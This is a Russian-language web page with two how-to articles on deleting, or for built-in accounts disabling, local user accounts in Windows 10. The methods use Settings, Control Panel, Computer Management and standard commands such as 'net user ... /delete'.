- Вопросы и ответы
ОС Windows 10 — это многопользовательская операционная система. Это означает, что на одном ПК может одновременно присутствовать несколько учетных записей, принадлежащим одному или разным пользователям. Исходя из этого, может возникнуть ситуация, когда необходимо удалить определенный локальный аккаунт.
Стоит упомянуть, что в Windows 10 существуют локальные аккаунты и учетные записи Microsoft. Последние используют для входа электронную почту и позволяют работать с набором персональных данных независимо от аппаратных ресурсов. То есть, имея такой аккаунт, Вы можете легко работать на одном ПК, а потом продолжить на другом, и при этом все Ваши настройки и файлы сохранятся.
Рассмотрим, как можно удалить локальные данные пользователя на ОС Виндовс 10 несколькими простыми способами.
Также стоит отметить, что для удаления юзеров, независимо от способа, нужно иметь права администратора. Это необходимое условие.
Способ 1: Панель управления
Самый простой способ удалить локальный аккаунт — это воспользоваться штатным инструментом, который можно открыть через «Панель управления». Итак, для этого необходимо выполнить такие действия.
- Зайдите в «Панель управления». Это можно сделать через меню «Пуск».
- Нажмите иконку «Учетные записи пользователей».
- Далее, «Удаление учетных записей пользователей».
- Щелкните по объекту, который Вы хотите уничтожить.
- В окне «Изменение учетной записи» выберите пункт «Удаление учетной записи».
- Кликните на кнопке «Удалить файлы», если Вы хотите уничтожить все файлы юзера или кнопку «Сохранение файлов» для того, чтобы оставить копию данных.
- Подтвердите свои действия, кликнув по кнопке «Удаление учетной записи».
Способ 2: Командная строка
Аналогичного результата достичь можно, используя командную строку. Это более быстрый метод, но его не рекомендуется использовать новичкам, так как система в таком случае не будет переспрашивать удалять ли юзера или нет, не предложит сохранить его файлы, а просто удалит все, что связано с конкретным локальным аккаунтом.
- Откройте командную строку (правый клик по кнопке «Пуск-> Командная строка (администратор)»).
- В окне, которое появится, наберите строку (команду)
net user "Имя пользователя" /delete
, где под Именем пользователя подразумевается логин аккаунта, который Вы хотите уничтожить, и нажмите клавишу «Enter».
Способ 3: Окно команд
Еще один способ удалить данные, которые используются для входа. Подобно командной строке, этот метод навсегда уничтожит аккаунт без лишних вопросов.
- Нажмите комбинацию «Win+R» или откройте окно «Выполнить» через меню «Пуск».
- Введите команду
control userpasswords2
и нажмите «ОК». - В окне, которое появится, на вкладке «Пользователи», щелкните по имени юзера, которого Вы хотите уничтожить, и нажмите кнопку «Удалить».
Способ 4: Консоль управления компьютером
- Нажмите правой кнопкой на меню «Пуск» и найдите пункт «Управление компьютером».
- В консоли, в группе «Служебные программы» выберите пункт «Локальные пользователи» и сразу же справа кликните по категории «Пользователи».
- В построенном списке учетных записей найдите ту, которую необходимо уничтожить и нажмите на соответствующую иконку.
- Щелкните по кнопке «Да» для подтверждения удаления.
Способ 5: Параметры
- Нажмите кнопку «Пуск» и кликните на иконке в виде шестеренки («Параметры»).
- В окне «Параметры», перейдите в раздел «Учетные записи».
- Далее, «Семья и другие люди».
- Найдите имя юзера, которого Вы собираетесь удалить, и щелкните по нему.
- А потом нажмите кнопку «Удалить».
- Подтвердите удаление.
Очевидно, что методов удаления локальных учетных записей предостаточно. Поэтому, если необходимо провести такую процедуру, то просто выберите способ, который Вам больше всего понравился. Но всегда нужно отдавать себе строгий отчет и понимать, что эта операция влечет за собой бесповоротное уничтожение данных для входа и всех файлов юзера.
Еще статьи по данной теме:
Помогла ли Вам статья?
В этой пошаговой инструкции подробно о том, как удалить пользователя в Windows 10 в различных ситуациях — об удалении простой учетной записи, или того, пользователя, которые не отображается в списке пользователей в параметрах; о том, как выполнить удаление, если вы видите сообщение о том, что «Пользователь не может быть удален», а также о том, что делать, если при входе в систему отображается два одинаковых пользователя Windows 10, и нужно убрать одного лишнего. См. также: Как удалить учетную запись Майкрософт в Windows 10.
В общем случае, учетная запись из которой производится удаление пользователя, должна иметь права администратора на компьютере (особенно если удаляется существующий аккаунт администратора). Если в настоящий момент она имеет права простого пользователя, то для начала зайдите под имеющимся пользователем с правами администратора и дайте нужному пользователю (тому, под которым в дальнейшем планируете работать) права администратора, о том, как это сделать разными способами написано в руководстве «Как создать пользователя Windows 10».
Простое удаление пользователя в параметрах Windows 10
Если вам требуется удалить «простого» пользователя, т.е. созданного лично вами или заранее присутствовавшего в системе при покупке компьютера или ноутбука с Windows 10 и более не нужного, сделать это можно, используя параметры системы.
- Зайдите в Параметры (клавиши Win+I, или Пуск — значок шестеренки) — Учетные записи — Семья и другие люди.
- В разделе «Другие люди» кликните по пользователю, которого нужно удалить и нажмите соответствующую кнопку — «Удалить». Если нужный пользователь отсутствует в списке, о том, почему это может быть — далее в инструкции.
- Вы увидите предупреждение о том, что вместе с учетной записью будут удалены файлы этого пользователя, хранящиеся в его папках рабочего стола, документов и прочего. Если важных данных у этого пользователя нет, нажмите «Удалить учетную запись и данные».
Если все прошло успешно, то ненужный вам пользователь будет удален с компьютера.
Удаление в управлении учетными записями пользователей
Второй способ — использовать окно управления учетными записями пользователей, открыть которое можно так: нажмите клавиши Win+R на клавиатуре и введите в него control userpasswords2 после чего нажмите Enter.
В открывшемся окне выберите пользователя, которого нужно удалить, а затем нажмите кнопку «Удалить».
Если при этом вы получите сообщение об ошибке и о том, что пользователь не может быть удален, это обычно говорит о попытке удаления встроенной системной учетной записи, о которых — в соответствующем разделе этой статьи.
Как удалить пользователя с помощью командной строки
Следующий вариант: использовать командную строку, которую следует запустить от имени администратора (в Windows 10 это можно сделать через меню правого клика по кнопке «Пуск»), а затем использовать команды (нажимая Enter после каждой):
- net users (выдаст список имен пользователей, активных и нет. Вводим для проверки того, что правильно помним имя пользователя, которого нужно удалить). Внимание: не удаляйте таким образом встроенные учетные записи Администратор, Гость, DefaultAccount и defaultuser.
- net user Имя_пользователя /delete (команда удалит пользователя с указанным именем. Если имя содержит проблемы, используйте кавычки, как на скриншоте).
Если команда была выполнена успешно, пользователь будет удален из системы.
Как удалить встроенные учетные записи Администратор, Гость или другие
Если вам требуется убрать лишних пользователей Администратор, Гость, а возможно и какие-то другие, сделать этого так, как описывалось выше, не получится. Дело в том, что это встроенные системные учетные записи (см., например: Встроенная учетная запись Администратор в Windows 10) и их нельзя удалить, но можно отключить.
Для того, чтобы сделать это, выполните два простых шага:
- Запустите командную строку от имени администратора (клавиши Win+X, затем выбрать нужный пункт меню) и введите следующую команду
- net user Имя_пользователя /active:no
После выполнения команды, указанный пользователь будет отключен и исчезнет в окне входа в Windows 10 и из списка учетных записей.
Два одинаковых пользователя Windows 10
Один из распространенных багов в Windows 10, который заставляет искать способы удаления пользователей — отображение при входе в систему двух учетных записей с одинаковыми именами.
Обычно это происходит после каких-либо манипуляций с профилями, например, после такого: Как переименовать папку пользователя, при условии, что до этого вы отключили пароль при входе в Windows 10.
Чаще всего срабатывающее решение, позволяющее убрать дубликат пользователя, выглядит так:
- Нажать клавиши Win+R и ввести control userpasswords2
- Выбрать пользователя и включить запрос пароля для него, применить настройки.
- Перезагрузить компьютер.
После этого можно снова убрать запрос пароля, но второй пользователь с таким же именем снова появиться не должен.
Постарался учесть все возможные варианты и контексты необходимости удаления учетных записей Windows 10, но если вдруг решения для вашей проблемы здесь не нашлось — опишите ее в комментариях, возможно, мне удастся помочь.